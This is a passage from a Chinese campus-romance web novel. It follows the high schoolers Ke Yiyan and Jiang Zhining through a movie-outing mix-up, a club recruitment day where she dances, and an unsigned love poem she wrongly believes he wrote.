那次，柯译衍跟随国家青少年网球队，从雾京飞到江洲参加网球交流活动，其中一站就是江洲中学。 他们到江中那天，正赶上学校高一新生军训汇演，在学校食堂吃过晚饭后，双方教练一边在操场上散步，一边互相交流心得。 柯译衍等人被允许短暂的自由活动，当然，活动范围仅限于操场周围，不允许瞎跑。 毕竟人生地不熟，下午还比了场友谊赛，这会儿大家都有点累了，眼下正好有表演看，众人兴致勃勃凑到新生群里，寻找最佳视角，一起看起表演。 柯译衍对表演兴趣不大，双手懒散环至胸前，冷静立于这群时不时兴奋吼叫的山顶猿人身后。 没过多久，部分演出人员移动到距离他几米远的位置候场。 他漫不经心侧目瞥了眼，熙攘人群中，轻而易举地发现了姜织宁身影。 是她啊。 柯译衍目光下意识顿了下，就这么停留在姜织宁身上。 少女几乎是等比例长大，长得比小时候更漂亮了，她头上戴着棒球帽，一身上下穿很酷，姿态放松，正做着热身动作。 中途，大概是旁边拿相机的女生和她说了什么很好笑的话，她单手叉腰，笑得前俯后仰。 多年前见面时，柯译衍并不知道少女童星的身份，如今的他，在俞杨平日洗脑式的安利下，早已非常清楚姜织宁是哪号风云人物，他还被俞杨强迫着，去看了遍姜织宁幼时出演的电影《记忆》。 和初见时的糟糕状态截然不同，再次相逢的少女鲜妍夺目，开朗活泼。 看来，她过得不错。 柯译衍注视着姜织宁，似乎被她蓬勃的生命力感染，唇角不由微弯了弯。 很快，主持人激情喊出有请街舞社的话，江中街舞社有序上场。笑盈盈的少女在站定后的那一秒，笑容瞬间消失，眼风无比冷酷。 音乐还没响起来，观众席里就有人呼喊起姜织宁的名字。 “姜织宁啊啊啊！！！” “学姐杀我啊啊啊！！！” “简直是All Kill！！！” “学姐太美了！！！” “姜织宁！姜织宁！姜织宁！姜织宁！” 高亢呐喊声此起彼伏，热血沸腾的气势几乎盖过现场音乐，所有人都很兴奋。 柯译衍瞄见俞杨和猿人一样站着，双手兴奋挥舞，吼到撕心裂肺，也不嫌丢人，简直没眼看。 表演中途，姜织宁出了点小意外， 头上的棒球帽在她向前空翻时，被风意外吹翻，一头黑而亮的长发肆意飞扬于风中。 她动作没停，脸上冷酷表情却瞬间破功，眉眼弯弯笑了好几下，自然而然散发出一股自由蓬勃，耀眼夺目的生命力。 突如其来的小插曲，现场高亢气氛被推至最顶峰。 柯译衍听见旁边有人扯破喉咙，大喊一声：“啊啊啊啊啊！我死了！这是什么Killing part啊！！！” Killing part。 杀我瞬间，是这个意思么？ 柯译衍没多想，静静注视着姜织宁，只是觉得时隔多年，再次见面的她，确实挺让人心动。 之后没过多久，因为一些意外，他主动放弃网球，低调转学至江中。 转来没几天，他便发现学校明里暗里，有不少人喜欢姜织宁。 耳边是各种各样，关于姜织宁的传闻，况且，身边还跟着个女神真爱粉俞杨，他想不知道蔡从都难。 虽然两人不在同一个年级，但在学校里，柯译衍偶遇过姜织宁，好几次，她身边都跟着那位定过娃娃亲，名叫蔡从的青梅竹马。 一对璧人，有说有笑并肩而行，行为举止无比默契，就连背影都很般配。 有传闻，两人的娃娃亲并非口头上说说而已，两边家长是真有这个打算，所以，家长从小就安排两人在一个圈子里玩，早早互相培养感情，主打一个肥水不流外人田。 难怪，没怎么见过姜织宁和其他男生来往。 为数不多的偶遇里，柯译衍会不着痕迹地多看姜织宁一眼。 渐渐的，目光情不自禁受到牵引，主动追寻她的方向，长久的停留。 没由来的多看她一眼。 从漫不经心的一瞥，再到刻意停留几秒。 一群女生里，唯独注意她。 熙攘人群中，轻而易举发现她的身影 等柯译衍终于意识到这些不对劲的行为时，他针对这件没有道理的事，陷入了漫无边际，长久的沉思。 他到底是从什么时候开始，越来越注意起姜织宁？ 很显然，没有道理的事根本想不通。 怦然心动、喜欢一个人、爱上一个人情感是这个世界上最复杂的东西，道理和逻辑都说不清。 少年想不明白。 思考到最后，也不是没有结论，柯译衍慢吞吞反应过来—— 她是他的Crush。 可能，他有点喜欢姜织宁。 隐秘的，微小的心动，不知道从哪一瞬间开始。 也许是军训汇演上的留意，也许是某次擦肩而过的时候，但这些都不重要，因为答案已昭然若揭。 意识到这点后，柯译衍的内心依旧很镇定。 仔细想了想，他把大部分原因推到俞杨身上。 要不是俞杨这个脑残粉，整天在他耳边念经式姜织宁长姜织宁短，他也不会受到精神污染，从而引发名为姜织宁的后遗症。 至于剩下小部分原因，归结于对方是个耀眼的人。 所以年少的他，怦然心动。 不过柯译衍很清楚，Crush，称之为短暂的心动，在漫长人生里不经意间出现，却不会有任何后续发生。 月亮永远悬挂天空，与注视的人隔着遥远距离，触不可及。 正如姜织宁和他，彼此之间本就没什么交集，以后更不会有，他也不打算主动创造出任何交集。 他心里压着很多事，数不尽的伤痕让他自顾不暇。 Crush而已，一点好感而已，没什么大不了，并没有到非要发生点什么的程度。 就这样，上学，放学 如死水般自我放逐的沉寂生活，一如以往地过下去，当一切都没有了意义，便感知不到时间的流逝。 直到有一天，姜织宁突然转来班里，荒谬成为了他的同桌和邻居。 是命运吗？ 他不知道。 一连串猝不及防的突发变动，柯译衍完全没预料到，下意识产生排斥心理，对姜织宁表现出冷淡疏远的态度。 可是他很快发现，过于刻意的冷淡，过于刻意的疏远，并没有起到良好效果，甚至适得其反。 他本该冷静的思绪，本该凝聚的注意力，时不时因为那些刻意行为而被扰乱，内心又开始不按规矩，蠢蠢欲动，没有道理起来。 所以，姜织宁主动提出做朋友的那一晚，确实很意外，但他答应了，并没有犹豫太久。 欲盖弥彰的疏离，是遮掩的喜欢。 柯译衍心想，与其劳心劳力，费劲去做那些毫无效果的刻意疏远，或许，自然而然的相处更加合适。 嗯，就这样，做朋友挺好。 第32章 给她的情书？ 电影总共两个半小时, 精彩刺激的剧情让时间一晃而过，影厅灯光亮起，观众散场, 路上不少人意犹未尽讨论着剧情。 俞杨的手机在入场前没电了，租了个充电宝冲着, 看电影时一直没开机，从影厅出来后, 他拔掉充电宝，打开手机。 未读信息弹出来, 他顺势点开查看, 最后一条是石莜发来的。 【yoyo】：打听件事啊, 柯译衍是不是有女朋友了？ 哈？ 俞杨先是闪过一丝茫然，继而愣了愣, 脑回路清奇地想—— 柯译衍有女朋友这件事，就连不是同个学校的石莜都知道了？而他, 作为柯译衍身边最最最最最最亲近的人，却被蒙在鼓里？ 他俞杨！ 居然！ 不是第一个！ 知道的人？？？ 怒了！！！ 俞杨立马扭头, 怒气冲冲瞪向柯译衍。 柯译衍：“？” 俞杨重重冷哼一声，飞快打字反问。 【羊羊羊】：是吗, 他女朋友谁啊？ 石莜发来一张朋友在EQUA店里偷拍的照片, 不是正面视角, 但能看清姜织宁和柯译衍的脸。 俞杨点开照片时的心情很激动, 结果看清照片里的人之后，瞬间萎了。 哪来的女朋友, 这不是宁王吗 他纳闷自言自语嘀咕, 把充电宝还回去，正要回复信息时, 余光注意到柯译衍走过来买水。 俞杨下意识倾斜手机屏幕，不让他看到。 柯译衍并没有在意俞杨做什么，但俞杨刻意一躲，遮遮掩掩的太明显，反而引起了他的注意。 他皱眉瞥了眼俞杨，对他手机里的东西不感兴趣，就是想问问这人，刚才莫名其妙瞪他干什么。 柯译衍付完钱，拿着水挪到旁边，冷飕飕质问：“刚那眼神什么意思？” “啊？”俞杨按灭手机，塞进裤兜里，装傻充愣看着柯译衍。 柯译衍挑眉：“装什么，刚才不是一副要找我算账的样子吗？” “”俞杨心虚干笑两声，胡编乱造说，“哪有，这你就冤枉我了啊，我刚才只是在锻炼眼睛好吧！眼保健操嘛，衍神你知道的，像我们这种打网球的人，必须要有敏锐的好眼力！你说是吧？” 胡说八道。 谁跟你是吧。 柯译衍冷淡垂眼，无情挥开俞杨想搭到他肩上的咸猪手。 等电梯的人里三层外三层，排半天都轮不上，况且还有韩辰这个不稳定因素在，姜织宁几人决定走安全通道，畅通无阻到楼下后，再去坐人少的电梯。 周静瑶按下电梯按钮，侧目怒视俞杨，不爽质问：“哎俞杨，你刚在影厅里乱喊什么啊？！差点害我嘴里奶茶喷到前座头发上！” 俞杨摸了摸鼻尖，不好意思地说：“啊抱歉抱歉。” “所以，”周静瑶话锋一转，笑眯眯打听问，“衍神喜欢谁啊？能让你这么震惊。” 俞杨：“” 也不知道怎么回事，有可能是刚才眼保健操锻炼过头，导致他的眼睛忽然不听话了 又或许，刚才韩辰的魔鬼洗脑，以及石莜没由来的问话，促使他脑子也有点混乱 嘶尼玛这脖子好像他脖子也出问题了 总之，俞杨下意识地瞄了姜织宁一眼。 极其短暂的一眼，一秒都不到，却还是被周静瑶敏锐捕捉到。 姜织宁戴着耳机，正专心听姑姑发来的语音，没注意到这边情况，周静瑶奇怪看了看姜织宁，目光回到俞杨脸上，疑惑问：“你看宁王干什么？” 俞杨：“” 话音落下，姜织宁抬起头，摘下半只耳机，看向俞杨，迷茫“啊？”了声。 柯译衍站旁边听韩辰讲蒙太奇，闻言目光顿了下，轻飘飘的，毫无温度地扫向俞杨后脑勺。 后脖颈方向袭来阵阵阴风，加上来自双A组的凝视，一瞬间，俞杨害怕极了。 他咽了咽口水，强装镇定，对周静瑶说：“不是，我其实是想看你。” 周静瑶愣住：“啊？？？” 看她干什么？ 莫非 周静瑶被俞杨的话一带，脑子里突然蹦出个很震惊很不妙的猜测。 不会吧…… 她缓缓转头望向柯译衍，憋了憋，最终还是没憋住，干脆遵循本心，小心翼翼地询问：“你喜欢我啊？” 柯译衍：“” 他缓慢深呼吸，深渊凝视那条名为俞杨的狗东西。 俞杨：“” 俞杨简直要昏倒，周静瑶瞎想到哪里去了！他根本没表达出这个意思好吗！ 与此同时，姜织宁震惊看着柯译衍，忍不住追问：“真的假的？你喜欢我们家周导？” 柯译衍：“” 什么意思，她还笑起来了？ “真的假的？” 韩辰也很吃惊，偷瞄了眼兴奋吃瓜状的姜织宁，跟着问了句，同时心里寻思着，不应该吧，他这么细致入微的观察力，应该不会看错啊。 柯译衍分明喜欢的是姜织宁，怎么会是周静瑶呢？？？ 这时，叮一声，电梯门打开。 俞杨心虚想着，要不要来一句“你们先请，我坐下一趟就好”，然后就地遁走时，就被柯译衍用力按压住后脖颈。 他都没来得及嘤嘤叫，整个人已经被柯译衍强行推进电梯里。 两人并排站着，柯译衍冷冽眼风斜睨过来，俞杨一哆嗦，顿时支棱起来，不满质问周静瑶：“周导啊，你咋这么能联想呢？” 周静瑶也是奇了怪了，“是你说你想看我啊！” 俞杨满脸无辜：“我得看着你才能和你说话啊，这不是基本礼貌吗？” 周静瑶：“” 原来是这样吗。 俞杨接着说：“还有，什么喜欢谁喜欢谁的，没谁！是我搞错人，喊错名字了，啧啧啧，瞧你们八卦的，毕业后去做狗仔算了！” 周静瑶注意力瞬间被转移，当即抬手怒锤俞杨，河东狮吼骂道：“放屁！要死啊你，我以后绝对是家喻户晓的周导，怎么可能是狗仔！你是不是想死？啊？！！！” 俞杨嘤嘤解释的时候，正好有人准备出电梯，柯译衍和那人调换位置。 他侧身让道，不经意瞥见姜织宁笑眼弯弯，脸上还没来得及收走，一副“喂到嘴边的好瓜居然长翅膀飞走”的可惜表情。 柯译衍：“” 这是什么损友？ 她可真行。 …… 周一数学课。 前半节上课，后半节讲周测试卷。 看得出来，今天五毒教教主的心情挺不错，因为何叶军只点名了三四个人，小骂几句助助兴后，便开始讲题。 毕竟这位是惹不起的教主，所以学生们对他的容忍度非常高，小骂几句，约等于没骂人。 完全是锣鼓喧天，皆大欢喜的程度。 这回周测姜织宁考了128，马马虎虎的成绩，收到试卷后，顺势瞥了眼旁边，不出意外，她那同桌又是接近满分。 柯译衍的试卷一直是抢手货，经常被借阅。 同一道题，大家有不同的解题思路和风格，有人解题简洁明了，绝不多写或少写一个字，从头到尾，看下来的感受就像走直线楼梯，一步一步稳当抵达终点。 而有些人就喜欢上难度炫技。 比如班里的数学课代表，经常用一些更难更复杂，甚至课本之外的公式求解。卷面看下来，像是坐了趟到处乱飞的过山车，眼花缭乱，头晕目眩，越看越不懂，但答案也是对的。 姜织宁本以为柯译衍是炫技类型，结果看完他的试卷后，意外发现他是第一种，是她喜欢的解题风格。 何教主讲完试卷，正好下课铃响。 姜织宁没有响应周静瑶一起去小卖部的召唤，从抽屉里拿出新买的活页本，将几道错题剪下来贴到本子上。 这时候，俩男生一前一后跑到柯译衍这边。 “衍神，试卷还在吗？快借我看看！” “排队啊，我第一个来的，要借也是先借我！” “要不要这么严谨，不就晚你一步吗？” “那就是晚了啊。” “” 柯译衍一改常态，谁也没答应，偏头看向姜织宁，问她：“你要看么？” 姜织宁愣了下，暂停手头上的事，冲他点头。 当然要看，本来就打算问他。 柯译衍对俩常客说：“等她看好再说。” 俩男生面面相觑，带着一头问号走了。 之前他们过来要试卷，衍神都是直接给，从来没有问过宁王啊，怎么流程突然变了，怪不习惯的。 看来双A组今天气氛不错，关系终于破冰了，还以为王不见王呢。 姜织宁瞄了眼男生背影，对柯译衍说：“我可能看试卷的速度有点慢，本来想晚点问你。” “没事，你先看。”柯译衍无所谓，把试卷放到姜织宁桌上。 他知道这群人的德行，试卷一旦借出去了，便跟击鼓传花似的，很快就会越传越远，姜织宁等到那时候再去拿，估计费劲。 听柯译衍这么说，姜织宁也没客气，收起试卷，笑着道了声谢。 她临时想起下午活动课的社团纳新，随口问了句：“社团纳新活动你要去吗？我听说，网球社的摊位和我们街舞社挨在一块儿。” “不去。”柯译衍毫不犹豫地说，他没这兴趣。 姜织宁奇怪咦了声：“你不去吗？早读课那会儿，俞杨还和我说，你会一起过去纳新，他说，你是我们江中网球社的门面担当，要过去镇场。” 什么门面镇场 服了。 俞杨又私自乱立flag，他可没答应啊。 柯译衍抱臂后靠向椅背，淡然看着姜织宁：“你要去？” 姜织宁翘起唇角，大言不惭地说：“对啊，我们余社长发话了，说我是街舞社门面，必需过去发传单。” 柯译衍被她语气逗笑，扬唇笑起来。 姜织宁真诚建议道：“江中社团纳新很热闹的，你要没什么事的话，可以去体验一下江中的校园文化，挺有意思的。” 今天是一年一度针对高一新生的社团纳新日。 江中的社团文化发展卓越，社团类型繁多，数量不少，像街舞社、网球社这类是常规大社，除此之外，还有不少小而美的小众社团，同样被学生们运营的有模有样。 听到姜织宁这么说，柯译衍犹豫片刻，改主意说：“看情况。” “什么看情况，你就在组织名单上，必须去啊！”俞杨刚从楼下买饮料回来，一屁股坐到位置上，嬉皮笑脸插嘴说。 罪魁祸首来了，柯译衍顿时冷下脸，低气压质问：“我什么时候同意了？” 俞杨一副官老爷上身模样，摆摆手说：“这种官方活动，你同不同意不重要，咱们社长同意就行，你不要违反组织命令。” 柯译衍：“” 俞杨笑嘻嘻劝道：“一起去看看呗，反正没事啊，门面的工作最轻松，往摊位上一坐就成。对了，数学试卷借我看看。” 柯译衍：“没有。” “啊？这么快就借出去了？？？”俞杨一脸震惊，忍不住戏精上身，心塞感慨道，“都说近水楼台先得月，怎么我什么也没捞着呢？” 他有商有量地说：“那个衍神啊，下次试卷作业外借之前，能不能先问下我的意见？” 做什么白日梦，柯译衍冷笑，拿俞杨刚才的话回敬他：“不能，这种事情，你同不同意不重要，我同意就行。” 俞杨：“” 嘤！ 这太伤人了！ 俞杨心碎捂住胸口，神情悲愤倒下。 姜织宁见状，连忙对俞杨说：“他试卷在我这里，等我看好了就给你。” 俞杨顿时满血复活，不满瞪了眼柯译衍，然后笑眯眯看着姜织宁，谄媚说：“好好好，还是宁王对我好！” 柯译衍：“？” 有病吧，本末倒置啊这人。 这不是他的试卷吗？ 不是应该来感谢他吗？ …… 下午，最后一节正课铃响，活动课时间到。 练习册P15-P18、错题订正（写错单词抄三遍）、作文一篇 无法完成作业的同学—— 一、将享受留校喝茶服务。 二、V课代表50元喝茶费。 姜织宁在黑板上快速布置完今日英语作业，洗干净手，和周静瑶一起赶向大操场。 操场上，人头攒动，气氛已经很热闹了。 所有社团按照提前划分好的位置整齐排开，各自放置几组桌椅，摆上镇社之宝，以及易拉宝、手绘海报之类的醒目物料。 有社员到处发传单，有社员干脆站到凳子上，高举自家海报，卖力吆喝，十八般武艺，各显神通。 高一新生们三三两两，兴奋围聚在社团摊位前。 街舞社需要比较大的场地，因此位置安排在操场最边上，立着几组酷炫海报，还放了个移动大音箱，社员们会定时在摊位前表演舞蹈。 最开始，街舞社和网球社的摊位并没有规划在一起。 舞蹈教室就在网球场边上，从开学到现在，大家每次练舞时，总能听见隔壁网球场人声鼎沸，好多同学赶来围观加油，人气颇高，尤其是一帮帅哥汇聚打球的时候。 那围观者的尖叫声，简直了。 毫无疑问，今年网球社纳新肯定爆火。 就在前几天，校学生会召集所有社团负责人开会，会议期间，余诗听到网球社社长得意洋洋透露，说今年网球社的纳新完全不愁，因为柯译衍会参与。 余诗一听这消息，就有点坐不住了。 干什么，为了抢人，故意把校草请去坐镇？ 使美人计啊？ 哼，好阴险！ 这是玩上孙子兵法了！ 余诗心想，既然有柯译衍在，不得不防。 为了江中王牌社团——街舞社的尊严，与其错开位置，不如正面迎战更合适，反正街舞社也有校花姜织宁这张ACE牌。 所以最后，两个社团的摊位就这么紧挨在了一起。 作为大热抢手社团，街舞社的人气格外火爆，纳新刚开始，摊位前就挤着不少学弟学妹。 姜织宁费劲穿过拥挤人群，走到街舞社摊位时，一眼瞄见懒散坐在旁边，脸上没什么表情的同桌。 今天是周一，柯译衍穿了身正装校服，瑰丽夕阳大片大片晕染天际线，橙色阳光落到他身上，给冷酷少年渡上一层温柔光晕，冷暖气息交织，很有漫画感的一幕。 “哟，贵社的门面担当还是来了呀。” 姜织宁坐到位子上，侧目看着柯译衍，笑眼弯弯调侃一句。 柯译衍递出去两张入社申请表，淡淡应了声：“是啊。” 姜织宁顺势打量几眼他那边的情况，继而评价说：“网球社人气很旺嘛。” 柯译衍弯了弯唇角，笑回：“你们也不赖。” 姜织宁笑。 表格递出去，柯译衍顺手接过一位大眼萌妹积极提交的申请表。 申请表只是一张薄薄的A4纸，但手感却不太对劲，他下意识翻到背面，愣了下，原来手里还被塞了封信。 结合女生递申请表时脸色泛红，神情羞涩的表现，柯译衍很快意识到这是什么东西。 姜织宁敏锐注意到异常情况，好奇探头瞄了眼。 是粉红色的信哎，肯定是情书！ 她意味深长抿唇微笑起来。 柯译衍倒是面不改色，平静瞄了眼申请表上的名字。 “丁若诗。” 听到暗恋的学长突然喊出自己的名字，大眼萌妹立马欣喜转身，双眼放光望向柯译衍。 “学长，有什么事吗？” “这个不收。”柯译衍把情书推到桌角，公事公办地说。 萌妹怔怔看着柯译衍，欲言又止，最终什么也没说，一脸失落拿上情书走了。 姜织宁叹气收回视线，低头忙起自己的事。 余诗给她安排的工作很简单，和柯译衍差不多，既然身为门面担当，那就要好好坐在摊位最显眼的位置，充当社团形象大使。 与此同时，发放、接收新生们的入社申请表。 虽然工作简单，但毕竟社团人气火爆，所以姜织宁手头上完全闲不下来，偶尔还要兼顾咨询工作。 过了会儿，社员们在场地上陆续跳完几只舞，下场休息。 余诗走过来，喝了两口水，顺势翻了翻收过来的申请表，很厚一叠，男女都有。 余诗惊诧：“居然有这么多人报名吗？” 姜织宁点头。 余诗拍拍表格：“那得淘汰不少人，嘶果然门面吸引力大。” 姜织宁笑：“哪有，我看很多人都是冲着舞蹈来，有些新人的简历很厉害，好几个街舞冠军。” 提起舞蹈，余诗同她商量：“刚好几个社员轮下来休息，后面两只舞你上？” 姜织宁啊了声，有些意外地说：“我没换衣服，也没带护膝。” 她今天穿了套正装校服，上半身白衬衫、墨绿色条纹领结、西服外套，下半身短裙，穿着不太方便跳舞。 余诗：“不影响，都是青春校园风的小甜舞，就适合穿着校服跳，没有大框架动作。” 街舞社并不是只欢迎有舞蹈基础的新人，即使没有基础，也有入社机会。 所以纳新中的随机舞蹈展示环节，余诗不仅安排社员展示了炫技的大框架舞，也加入了难度较低，舞蹈小白也能学会的清新小甜舞。 没有提前准备，姜织宁犹豫数秒后，说：“我先看看曲目。” “就这两首。”余诗给她看表格。 姜织宁看了眼，都是她跳过的舞，便点头说：“那可以。” 余诗：“是吧，原版舞者就是穿着校服跳，特青春。” “我们一起？” “好啊。” 姜织宁站起来，把位子让给其他社员，然后走到后面位置热身。 柯译衍回到位子时，突然发现姜织宁在做广播体操，他无言注视她三秒，忍不住疑惑问：“做操干什么？” “”姜织宁白他一眼，“什么做操，我这是在热身。” 柯译衍：“所以要干什么？” 姜织宁：“当然是准备跳舞。” 柯译衍沉默了下，垂眸扫了眼她的短裙，莫名其妙的不顺眼，于是问：“不换衣服？” “不用。” “那怎么跳？”他不解。 “不影响。” 柯译衍皱眉看着姜织宁，显然不相信，他记得她的动作都是大开大合那种。 姜织宁看他摆出这幅态度，停止热身，蹙眉表示：“你这表情，怎么有点像管很多的家长？” 柯译衍愣住。 是吗？ 不就随口问了句，怎么就家长了。 柯译衍不自在轻咳一声，面不改色地说：“不是你说做朋友吗？” 姜织宁没听懂：“是啊，所以呢？” 他慢吞吞说：“朋友提醒而已啊。” 姜织宁被他说服了，笑起来：“哦，那谢谢，真没影响，不相信的话，你待会儿看看就知道了。” 看？ 柯译衍心中犹豫，这么做，会不会显得他太闲了？ 本来就是随口一提，没想着特意去看，既然她主动开口让他看 算了。 那就看看。 姜织宁走向表演区，柯译衍半信半疑，抱臂起身。 目光追随着少女，认真严谨盯了一会儿后，发现事实正如她所说，确实没影响，因为舞蹈动作幅度并不大，基本都是上半身在动。 之前军训汇演里的姜织宁极为酷飒，宁王气场十足，而眼前的她，俨然变成了一位元气甜美少女，形象很新鲜，完全是两种舞风。 不过，周围的欢呼应援声依旧响亮。 “我去，好美啊！！！！！” “不是吧，姜学姐还能这么甜啊？？？” “呜呜呜，学姐连头发丝都是美的！好想和她贴贴！” “宁王这个身材比例是真实存在的吗？慕了慕了！” “我之前看她都是跳hiphop，可飒了，简直A爆全场那种，没想到小甜舞也很适合她！” “人家本来就是什么舞都跳的啦，这种小甜舞对她来说就是小儿科，完全没难度啊。” “天，这才是青春啊，都可以原地拍MV了。” “这个舞又甜又好看，看起来也不太难，想学！” “是啊，这种难度的还可以学，刚才看前辈们跳高难度的舞，我都被吓到了！完全是跳完会被送医院的程度，我都不敢提交入社申请。” “宁王跳的就是那个组合很出名的校园三部曲嘛，突然妹里妹气的宁王，啊哈哈哈哈，老不习惯了！！！” 俞杨搬了一箱水回来，放到地上，从中抽出两瓶，一瓶递给柯译衍，一瓶给姜织宁。 他扭头递过去，发现人不在。 “宁王人呢？”俞杨问柯译衍。 柯译衍下巴微抬，朝前方人群中央指了下。 隔着一定距离，围观的人又多，俞杨眼睛寻了一圈，才发现姜织宁身影。 名校生是有校服情怀的，校服象征着名校学子的骄傲身份，是一道与众不同的靓丽风景，尤其是走在校外的时候，特别显眼，经常会被路人偷偷指点，羡慕议论。 几个学校比起来，江中校服的颜值一直名列前茅，非常漂亮。 很显然，比起专业演出服，身穿校服跳舞，确实会有一层接地气，更融入环境，独有的青春光环。 少女舞姿轻盈灵动，笑容鲜妍甜美，高马尾在空中不断飞扬起青春的弧度，旋转裙摆在落日余晖下渡了层融融光晕。 特别美好，特别赏心悦目。 俞杨定睛一看，顿时乐了：“哎哟，这还是宁王吗，这是宁妹吧！” 宁妹？ 一瞬间，柯译衍联想起姜织宁的小名——宁宝。 他不由挑了下眉，唇角含笑，懒洋洋坐下。 忙碌的社团纳新在晚自习前正式结束，姜织宁在摊位上解决掉晚饭，回教室之前，专门去了趟图书馆。 她想借一本高中必读书单中的外国小说，手里那本是多年前的老版本，也没带到新家这边，她要借其他出版社发行的新版。 仔细在书架上寻找了好几遍，始终没发现想要的书，明明电脑里显示可借的状态。 晚自习快要开始了，没时间逗留，姜织宁干脆去柜台咨询怎么回事。 帮忙整理书籍的男生有些害羞地看着她，腼腆解释：“借阅系统这几天有点故障，这本小说已经全部被借走了，目前还没有人归还。” 原来是这样，姜织宁冲男生笑道：“好，谢谢。” …… 晚自习第二节课铃响，柯译衍走进教室，回到位子上，把手里的书放到姜织宁手边。 姜织宁停下笔，侧目瞄了眼，是她刚才没借到的那本外国小说。 她笑道：“这么巧啊，你也借了这本？” 柯译衍：“嗯，张典说你也想借。” “谁是张典啊？”她眼神迷茫看着他。 他笑了笑：“和你说借阅系统故障那人。” “哦” 姜织宁把书随意塞进课桌，继续埋头做题。 本来打算带回家睡前看，结果到家后，她才发现压根没放进书包里。 等到了第二天傍晚，快要上晚自习的时候，姜织宁临时想起这事，为了避免再次忘记，她从课桌里拿出那本小说。 她随手翻了翻，刚要合拢放进书包，书里突然飘出一张粉红色的小卡片。 姜织宁愣了下，弯腰捡起来。 卡片的最上面，写着致姜织宁，中间部分是一首文绉绉的表白情诗，字迹挺漂亮，最下面没有落款。 这什么东西？ 是给她的情情书？ 无比震惊。 姜织宁愣怔盯着粉红小卡片，茫然眨了眨眼。 呆滞了好一会儿，她缓缓转身，目光复杂看向站在班后门的柯译衍。 第33章 前女友 柯译衍抱臂站在班后门, 和姚飞闲聊着。 这两位年纪第一宝座轮流坐的大佬，曾经一度被外界以为会关系不和，尤其是性格冷酷的柯译衍, 看着就不好相处。 结果实际情况跌破所有人眼镜，大佬们私下关系相当和谐, 姚飞经常找柯译衍讨论题目。 聊天时，柯译衍注意到不远处的姜织宁直勾勾盯着他看, 目光不同以往，挺意味深长, 以为她找他有事, 便和姚飞简短说了两句。 姚飞听完笑了笑, 偏头看姜织宁一眼，转身离开。 柯译衍快速走到姜织宁面前, 垂眸看着她。 “什么事？” 姜织宁慢吞吞“啊？”了声，一副魂魄飘走, 明显不在状态的罕见模样。 “不是找我？”柯译衍皱眉坐下。 姜织宁反应过来，默默把书放进抽屉里, 低声说：“不是” 很反常的态度。 柯译衍想了想，猜问：“身体不舒服？” 姜织宁摇头。 “那刚才一直盯着我看干什么？”柯译衍困惑说, 她分明是有事的眼神。 姜织宁默了下, 平静反问：“我不能看你吗？” 你都敢给我写情书了, 我看看你怎么了？ 就很理直气壮。 柯译衍：“” 她为什么突然发脾气？ 他没惹。 接下来的晚自习, 姜织宁完全不在状态，脑子里一直在想情书这件事怎么解决。 对于姜织宁来说, 收到情书并不是什么奇怪事, 即使有蔡从这张挡箭牌，暗地里, 仍然有男生给她送情书递礼物。 没什么大不了，习惯了，反正她不会收的。 可是，这回情况就有点特殊了，因为情书是柯译衍送的，没有夸张到晴天霹雳的程度，不过确实令她感到很为难。 她和他，这不是刚成为朋友不久吗 柯译衍就按耐不住，大胆给她送情书，想要关系更近一步了？ 说实话，真的很无语。 姜织宁知道不少男生喜欢她，但是也有人真把她当成朋友相处，比如她所在的疯人联盟群，群里有好几个男生，大家都是非常纯粹的纯友谊关系。 她对柯译衍也是这么想的，纯友谊，真朋友，完全没别的意思。结果现在的情况是，我想和你做朋友，你却对我有想法？ 唉，好烦啊。 姜织宁心中忍不住升起丝丝怒气。 才建立不久的友谊小船，因为某人单方面原因，马上就要翻了！ 好好的友谊，为什么要搞砸！ 所以说，她是应该装糊涂当没看见？还是主动摊牌说清楚？她这么直球的人，这种事，怎么装糊涂啊？ 装的了一时，装不了一世，万一后面柯译衍又和她表白了怎么办，不还是要面对吗 姜织宁撑着脸颊，脸色麻木，一直心烦到下课，少女烦心事依然没有得到任何解决。 甚至因为这事，弄得夜宵都不香了。 姜织宁面无表情站在冰糖葫芦摊位前，心情很不美妙。 来夜市觅食的俞杨意外发现人群里的姜织宁，眼睛顿时一亮，扭头对柯译衍说：“看那边，宁王在买冰糖葫芦哎，之前我买过那种压扁的山楂，很好吃的，走走走，咱们也去看看。” 柯译衍没反驳，跟着他走过去。 柯译衍从不来美食街，平常晚自习放学后都是直接回家，今天特意过来，是因为下课那会儿，他凑巧听见班里女生约姜织宁去美食街买夜宵吃，所以才过来看一眼。 冰糖葫芦摊位上的品种很丰富，草莓、青提、山楂、橘子、猕猴桃各种长短不一的新鲜水果插着竹签，由摊主熟练裹上一层薄薄的透明糖液。 现做现卖，晶莹剔透，卖相诱人。 这家的糖葫芦口味很不错，水果特别甜，而且外面裹的糖液一点也不厚，又薄又脆，完全不费牙，因此很受附近学生追捧，每次都要排队才能买到。 “想要哪个？” 柯译衍走到姜织宁身边，问她。 姜织宁安静看他一眼，态度疏离，淡声回了句不要，然后和于佳打了声招呼，转身就走。 柯译衍：“？” “”于佳望着姜织宁离开的背影，小心翼翼透露说，“呃那个宁王今天好像心情不太好。” 柯译衍平静问：“她怎么了？” 于佳实话实说：“我没敢问。” 今天周静瑶家里有事，一下课就走了，没来美食街，和姜织宁一起过来的是于佳。 来的路上，于佳便敏锐察觉出姜织宁心情不好，毕竟关系没熟到那个份上，所以她没敢轻易问出口。 于佳好心说：“草莓、青提、山楂都不错，宁王刚才想买水果味的，短款那种。” 按照于佳的意见，柯译衍挑了几样水果糖葫芦，扫码付钱。 原本想着，等到家了再给姜织宁送过去，柯译衍刚拐进小区，就发现少女不紧不慢走在前面，他加快脚步，几步走到她身边。 两人并肩而行，柯译衍把手中纸袋递给她。 姜织宁停下来，瞄了眼袋子，目光疑惑望向柯译衍。 柯译衍解释：“糖葫芦，给你买的，不是想吃么。” 她垂下眼，沉默不语盯着袋子。 是想吃的，那家糖葫芦做的特别好吃。 要是以前，她绝对毫不犹豫拿过来，但现在，有情书拦在彼此之间，让她怎么接这份别有用心的夜宵？ 唉，都怪柯译衍，害得她忘记买糖葫芦就走了，现在想吃吃不到。 想到这，姜织宁心里又是一阵烦，连话都不想和他说了，紧抿着唇，顾自闷声不响往前走。 极其异常的反应。 柯译衍皱眉望着姜织宁背影，也是想不明白了，她为什么摆出一副想要又不想要的奇怪态度？ 不就是糖葫芦吗，用得着这么犹豫纠结？不知道的，还以为她在酝酿什么八百字小作文。 相处至今，柯译衍清楚姜织宁并不是清冷话少的人，尤其是在朋友面前，所以她现在这幅模样，很不对劲。 其实晚自习那会儿，他就发现她行为异常了，频繁冷眼偷瞄他，欲言又止的，不知道她想干嘛。 